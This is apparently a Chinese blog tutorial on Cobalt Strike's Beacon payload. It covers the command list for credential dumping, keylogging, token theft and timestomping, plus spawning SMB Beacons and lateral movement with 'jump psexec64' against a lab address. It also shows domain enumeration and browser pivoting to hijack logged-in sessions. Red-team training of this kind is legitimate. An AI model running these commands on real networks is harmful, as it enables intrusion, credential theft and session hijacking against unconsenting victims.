cobalt strike之Beacon的使用(七)

Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网 络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任 务,然后进入睡眠状态。交互式通信实时发生。

beacon种的命令

Command                   Description
   -------                   -----------
   argue                     命令行参数欺骗
   blockdlls                 禁止子进程加载非微软签名的dll
   browserpivot             注入浏览器进程代理用户已认证身份(仅支持IE)
   cancel                   取消正在下载的文件
   cd                       跳转目录
   checkin                   强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标
不会回连Teamserver)
   chromedump               提取Chrome保存的账号密码、Cookies等信息
   clear                     清空beacon任务队列
   connect                   通过TCP正向连接远程Beacon
   covertvpn                 部署Covert VPN客户端
   cp                       复制文件
   dcsync                   从域控提取密码hash
   desktop                   远程VNC控制用户桌面
   dllinject                 注入一个内存反射加载的dll到目标进程
   dllload                   使用LoadLibrary方式在目标进程中加载一个dll
   download                 下载文件
   downloads                 列出所有正在下载的文件
   drives                   列出所有磁盘盘符
   elevate                   利用提权漏洞获取一个高权限Beacon
   execute                   在目标上执行程序(无回显)
   execute-assembly         在目标上内存加载执行本地.NET程序
   exit                     结束当前Beacon会话
   getprivs                 在当前进程访问令牌(access token)中启用system特权
   getsystem                 尝试获取SYSTEM用户权限
   getuid                   获取当前进程访问令牌(access token)的用户信息
   hashdump                 获取本地用户hash
   help                     帮助信息
   inject                   在指定进程中注入新的Beacon会话
   inline-execute           在当前会话中执行Beacon Object File
   jobkill                   结束一个后台任务
   jobs                     列出所有后台任务
   jump                     在远程机器上植入Beacon(横向移动)
   kerberos_ccache_use       从ccache文件导入kerberos票据到当前会话中
   kerberos_ticket_purge     清空当前会话中的所有kerberos票据
   kerberos_ticket_use       从ticket文件中导入kerberos票据到当前会话中
   keylogger                 开启键盘记录
   kill                     结束指定进程
   link                     通过命名管道正向连接远程Beacon
   logonpasswords           使用mimikatz获取密码和hash
   ls                       列出目录文件
   make_token               创建进程访问令牌(access token),仅用于访问网络资源
   mimikatz                 运行mimikatz
   mkdir                     创建目录
   mode dns                 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
   mode dns-txt             使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
   mode dns6                 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
   mv                       移动文件
   net                       网络和主机探测工具(内置net命令)
   note                     给当前会话添加备注信息
   portscan                 网络端口扫描
   powerpick                 内存执行Powershell命令(不调用powershell.exe)
   powershell               通过powershell.exe执行Powershell命令
   powershell-import         导入本地powershell脚本到当前会话中
   ppid                     为所有新运行的进程设置伪造的父进程PID
   printscreen               使用PrintScr方式截屏
   ps                       显示进程列表
   psinject                 注入到指定进程后在内存中执行Powershell命令(不调用
powershell.exe)
   pth                       使用Mimikatz执行Pass-the-hash
   pwd                       显示当前目录
   reg                       查询注册表
   remote-exec               在远程机器上执行命令(横向移动)
   rev2self                 恢复原始进程访问令牌(access token)
   rm                       删除文件或文件夹
   rportfwd                 反向端口转发(从Cobalt Strike Teamserver发起连接)
   rportfwd_local           反向端口转发(从Cobalt Strike客户端发起连接)
   run                       在目标上执行程序(有回显)
   runas                     以另一个用户身份执行程序
   runasadmin               以高权限执行程序
   runu                     以另一个进程PID作为父进程PID,并以其用户身份执行程序
   screenshot               截屏
   screenwatch               屏幕监控,每隔一段时间截屏
   setenv                   设置环境变量
   shell                     使用cmd.exe执行命令
   shinject                 注入shellcode到指定进程中
   shspawn                   创建傀儡进程并注入shellcode到其中运行
   sleep                     设置beacon回连间隔时间
   socks                     启动SOCKS4a代理服务器
   socks stop               停止SOCKS4a代理服务器
   spawn                     创建一个新Beacon会话
   spawnas                   以另一个用户身份创建一个新Beacon会话
   spawnto                   设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件
路径)
   spawnu                   以另一个进程PID作为父进程PID,并以其用户身份创建一个新
Beacon会话
   spunnel                   运行第三方agent shellcode并将其反向代理到控制端(从Cobalt 
Strike Teamserver发起连接)
   spunnel_local             运行第三方agent shellcode并将其反向代理到控制端(从Cobalt 
Strike客户端发起连接)
   ssh                       通过SSH连接远程主机(使用账号密码认证)
   ssh-key                   通过SSH连接远程主机(使用证书私钥认证)
   steal_token               从指定进程中窃取访问令牌(access token)
   timestomp                 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
   unlink                   断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
   upload                   上传文件

在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,每一分钟目标主机与teamserver通信一次),这会让我们执行命令或进行其他操作响应很慢一般设置 sleep 5 即可,

如果使用socks代理设置为 sleep 0

在beacon不能直接使用系统命令想要执行系统命令需要使用 shell 命令

SMB beacon

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从 父Beacon获取到任务并发送。

因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相 对隐蔽,绕防火墙时可能发挥奇效。

这张图很好的诠释了SMB beacon的工作流程

这种beacon要求具有SMB Beacon的主机必须接受端口445上的连接.

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的 Listener>上线

或在beacon中使用命令spawn smb(smb为我的smb listener名字)

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,你可以Beacon上用link 命令链接他或者unlink 命令断开它。

这种beacon在内网横向渗透中运用的很多,横向渗透留到日后再讲。在内网环境中可以使用ipc $生成的 SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去 连接他。

当前连接12server5 因为密码与12server4相同 dir可以访问 12server5 c盘可以使用jump psexec64建 立smb beacon

shell dir \\10.10.10.139\c$ #访问目标c盘
jump psexec64 \\10.10.10.139 smb 创建smb连接

7.1 截图

可以在beacon里输入命令

7.2 端口扫描

流 量 探 测 端 口 扫 描 选 择 扫 描 存 活 的 方 式 a r p ic m p 选 择 扫 描 的 网 卡 也 可 以 指 定 端 口

在beacon 使用命令查看后台任务jobs关闭任务jobkill 任务id

7.3 网络探测

beacon 提供net命令以下是这个命令的一些常用方法

beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
       命令                 描述
       -------             -----------
       computers           列出域中的主机(通过组)
       domain             显示该主机的域
       dclist             列出域控制器
       domain_controllers 列出域控制器(通过组)
       domain_trusts       列出域信任
       group               列出组中的成员组和成员用户
       localgroup         列出本地组中的成员组和成员用户
       logons             列出登录到指定主机的用户
       sessions           列出指定主机上的会话
       share               列出指定主机上的共享
       user               列出用户和用户信息
       time               显示指定主机上的时间
       view               列出域中的主机(通过browser服务)
使用 "help net [命令]" 了解更多信息

查看网络信任主机

列出域控

7.4 浏览器代理

先把beacon 简介时间设置为0 sleep 0

先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon 连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好 的效果

然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:

将 agent 程序注入受害机器的 IE 浏览器进程

在团队服务器的一个端口上开启一个 HTTP 代理服务器

实际上,这个过程也可以通过browserpivot命令来实现。效果是等同的。停止方式 browserpivot stop

如果目标上登录某些网站通过设置浏览器代理后,访问网站即可登录

访问目标网站

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值